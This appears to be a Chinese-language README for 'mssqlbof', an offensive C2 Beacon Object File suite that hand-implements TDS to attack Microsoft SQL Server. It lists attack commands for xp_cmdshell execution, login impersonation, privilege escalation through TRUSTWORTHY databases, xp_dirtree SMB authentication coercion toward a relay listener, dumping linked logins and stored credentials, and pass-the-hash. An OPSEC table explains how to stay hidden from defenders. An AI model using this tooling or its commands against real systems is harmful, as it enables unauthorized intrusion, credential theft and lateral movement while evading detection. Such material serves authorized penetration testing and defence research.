一个针对 Microsoft SQL Server 的 Beacon Object File 套件,它自身在线上使用 TDS 7.4 协议。
一个面向 Microsoft SQL Server 的信标对象文件套件,使用 C 语言在底层直接实现 TDS 7.4 协议。无需 msodbcsql.dll、sqloledb.dll、.NET CLR 或 PowerShell。每个架构对应一个 COFF 文件,可加载到所有遵循标准信标 API 的信标中。
SQL Server 几乎出现在每一次渗透测试中。人们常用的两个工具是 SQLRecon / PowerUpSQL(CLR + PowerShell)以及任何封装了 sqlcmd.exe 的工具。这两者都会在信标内存中留下 mscoree.dll、PowerShell AMSI 事件或完整的 Microsoft ODBC 驱动程序副本。这些都不是必需的:TDS 只是通过 TCP 传输的帧化字节,前面有一个 Schannel 握手,而每个支持 BOF 的信标已经加载了 ws2_32、secur32、schannel 和 bcrypt。
因此,mssqlbof 用 C 语言手动实现了 TDS,并直接插入操作员为目标所需的任何 SSPI 或 BCrypt 原语。信标加载一个约 48 KB 的对象,运行 SQL,然后卸载。进程中不会引入其他内容。
每个架构对应一个目标文件。mssql.x64.o 在所有框架中都是相同的二进制文件——我们仅使用标准的信标 API(BeaconPrintf、BeaconDataExtract 等)以及 COFF 加载器在运行时解析的 <LIB>$<fn> 动态导入模式。
apt install gcc-mingw-w64 libssl-dev
make
生成 build/mssql.x64.o 和 build/mssql.x86.o。将它们放到团队服务器上,使用你的 C2 的 BOF 运行器加载。
所有操作都通过一个目标文件执行,并使用 --action <verb>:
--action find LDAP 枚举当前域中的 MSSQLSvc SPN
--action info --host <sql> 服务器/版本/当前用户/系统管理员/数据库
--action query --host <sql> --sql "..." 任意 T-SQL,多行,多结果集
--action links --host <sql> 链接服务器枚举(单跳)
--action exec --host <sql> --cmd "..." xp_cmdshell,自动启用并恢复
--action impersonate --host <sql> --discover 列出你可以 EXECUTE AS 的登录名
--action impersonate --host <sql> --login X --sql "..."
通过 EXECUTE AS LOGIN 以 X 身份运行 T-SQL
--action privesc --host <sql> 六部分权限提升面枚举
--action coerce --host <sql> --to "\\listener\x"
xp_dirtree SMB 身份验证强制
--action passwords --host <sql> 转储 sys.linked_logins + sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find 无需提供主机——它通过 LDAP 与操作员的域控制器通信。
四种模式。每种模式都在真实的域环境中针对 SQL Server 2019 在 COFFLoader 和 Adaptix C2 上进行了端到端验证。
--auth sspi (默认)当前信标线程令牌
如果存在 SPN 则使用 Kerberos,否则使用 NTLM。
遵循 make_token / steal_token。
--auth ntlm --domain D --user U --pass P 显式 NTLM 明文密码。
驱动 SSPI NTLM 包,多轮次。
--auth ntlm --domain D --user U --hash <NT> 传递哈希。
手动实现的 NTLMv2(见下文)。
无需 SSPI、lsass 或 make_token。
--auth sql --user U --pass P SQL 身份验证。
--hash 接受 32 字符的十六进制 NT 哈希或 secretsdump 输出的 LM:NT 格式。
SSPI + SEC_WINNT_AUTH_IDENTITYAcquireCredentialsHandleW(NULL, "NTLM", ...) 在凭据身份结构中只接受明文密码。NTLM 提供程序在内部派生 NT 哈希。向其提供哈希需要修补 lsass(如 Mimikatz sekurlsa::pth 所做的)或在一个已预先认证的替代进程下运行信标。
我们选择的替代方案是:完全跳过 SSPI 进行 PTH,自行生成 NTLMSSP 消息。src/tds/ntlm_pth.c 构建 Type 1 NEGOTIATE 消息,从 TDS 0xED 令牌中解析服务器的 Type 2 CHALLENGE,使用 bcrypt.dll 的 HMAC-MD5 提供程序执行 NTLMv2 计算,并写入 Type 3 AUTHENTICATE 消息,SQL Server 会愉快地将其传递给域控制器。
第一次尝试失败,报错 error 18452: login is from an untrusted domain。将 Impacket 正常工作的身份验证数据包与我们的进行对比,很快缩小了问题范围:我们发送了 24 个零字节作为 LMv2 响应,以及完整的 0xe288... Windows 协商标志集。匹配 Impacket 的 LMv2 计算及其较小的 0xa2880205 标志集(无 KEY_EXCH、无 SIGN、无 ALWAYS_SIGN)后,服务器接受了该哈希。详细分析见 BLOG。
--action exec 的权限提升--impersonate auto (默认)先尝试 EXECUTE AS LOGIN,再尝试 TRUSTWORTHY 跳转
--impersonate login 通过 IMPERSONATE 授权使用 EXECUTE AS LOGIN
--impersonate trustworthy 通过系统管理员所有的 TRUSTWORTHY 数据库中的 dbo 跳转
--impersonate none 如果不是系统管理员则失败
privesc 会在你选择方法之前枚举攻击面:系统管理员成员身份、IMPERSONATE 授权(以及目标登录的系统管理员状态)、系统管理员拥有的 TRUSTWORTHY 数据库(且你有权访问)、链接服务器、服务器级权限以及 xp_cmdshell 状态。
apt install gcc-mingw-w64 libssl-dev
make # 交叉编译 BOF 到 x64 + x86
make tds # TDS 核心的 Linux 共享库(用于模糊测试/测试)
Linux 共享库与 Windows 构建共享所有 TDS 源文件;只有 tls_schannel.c / sspi.c / ntlm_pth.c 被替换为 OpenSSL / 存根等效项。
没有直接调用 libc 或 Win32。所有外部符号都通过 src/common/dynimports.h 中的 <LIB>$<fn> 动态导入约定。使用以下命令验证:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
应仅显示 MSVCRT$*、WS2_32$*、SECUR32$*、BCRYPT$*、CRYPT32$*、SCHANNEL$*、WLDAP32$*、KERNEL32$*、ADVAPI32$* 和 __imp_Beacon*。没有 msodbcsql.dll。没有 sqloledb.dll。没有 mscoree.dll。
所有 TLS 都是真正的 Schannel(不是存根),并处理了 SQL Server PRELOGIN 包装怪癖:握手在 TDS PRELOGIN 类型 0x12 数据包内运行,然后 LOGIN7 作为原始 TLS 应用数据发送,服务器以明文形式响应第一个登录数据包。多轮次 SSPI 续传也以明文形式进行——如果你用 TLS 加密它们,SRV02 只会关闭套接字。
v0.1.2 — 多身份验证、PTH、11 个操作,实验室验证。
mssql.x64.o),包含 11 个操作exec 的四种权限提升方法:login、trustworthy、auto、none已知边缘情况:
OPENQUERY 链是 v0.2 的内容。do_connect 中的一个初始 SELECT 会排空它——副作用是每个操作都会记录 [*] connected as ... 行。根本原因在于 LOGINACK 后的读取路径,将在 v0.2 中修复。Cobalt-Strike/bof_template 提供了本项目严格遵循的标准信标 API 接口。TrustedSec/COFFLoader 提供了一个独立的加载器用于测试。impacket 的 ntlm.py 和 mssqlclient.py —— 我们在追踪 NTLMv2 标志乱码时用于差异分析的参考。[MS-TDS] 和 [MS-NLMP] —— 这些手动实现所遵循的规范。Opus 4.6 —— 部分文档在 Opus 4.6 的协助下起草。所有代码均由 ME 手写,并在实验室中端到端验证。MIT
| C2 | x64 | x86 |
|---|
| Cobalt Strike | 是 | 是 |
| Havoc | 是 | 是 |
| Sliver | 是 | 是 |
| BruteRatel | 是 | 是 |
| Nighthawk | 是 | 是 |
| Outflank Stage1 | 是 | 是 |
| AdaptixC2 | 是 | 是 |
Metasploit execute_bof | 是 | 是 |
| PoshC2 | 是 | 是 |
| 操作 | 信标基线之外的额外 DLL | 服务器端跟踪 | 备注 |
|---|
find | wldap32 | DC 事件 1644(罕见) | 仅 LDAP,不涉及 SQL |
info / query / links / privesc / passwords | secur32 或 bcrypt、schannel、ws2_32 | SQL 审核 33205(如果启用) | 纯 TDS,无 ODBC 指纹 |
exec | 相同 | 默认跟踪中的 xp_cmdshell + sp_configure | 动静大。使用来自低权限登录的 --impersonate 避免以 NT SERVICE 身份着陆 |
impersonate | 相同 | EXECUTE AS 审核 33205 + 33206 | |
coerce | 相同 | xp_dirtree 尝试被记录 | 指向 responder / ntlmrelayx |
chain | 相同 | 在链接服务器目标上记录 EXEC AT | 横向移动原语 |
| 文档 | 内容 |
|---|
docs/PROTOCOL.md | TDS 7.4 深入解析:数据包帧结构、PRELOGIN 选项流、LOGIN7 密码混淆、SQLBatch 上的 ALL_HEADERS、令牌流语法(COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED SSPI 续传)、TLS 握手怪癖、多轮次 NTLM 泵。 |
docs/OPERATOR.md | 端到端实验室指南:构建、搭建 Adaptix 监听器、在 Windows 主机上投放信标、使用所有身份验证模式(包括 PTH)运行每个操作,以及跨 C2 可移植性说明。 |
docs/OPSEC.md | 每个操作在线缆上和内存中的足迹。每个操作加载到信标中的内容、在 SQL 审核中留下的痕迹,以及防御者可以看到的内容。 |
docs/COMPATIBILITY.md | C2 框架矩阵、SQL Server 版本矩阵,以及哪些身份验证模式已验证可针对哪些目标。 |
BLOG | 调试叙事:传递哈希实现实际上是如何组合起来的,包括线缆捕获、LMv2 零字节红鲱鱼,以及针对 Impacket 的 tshark 差异分析,最终打破了僵局。 |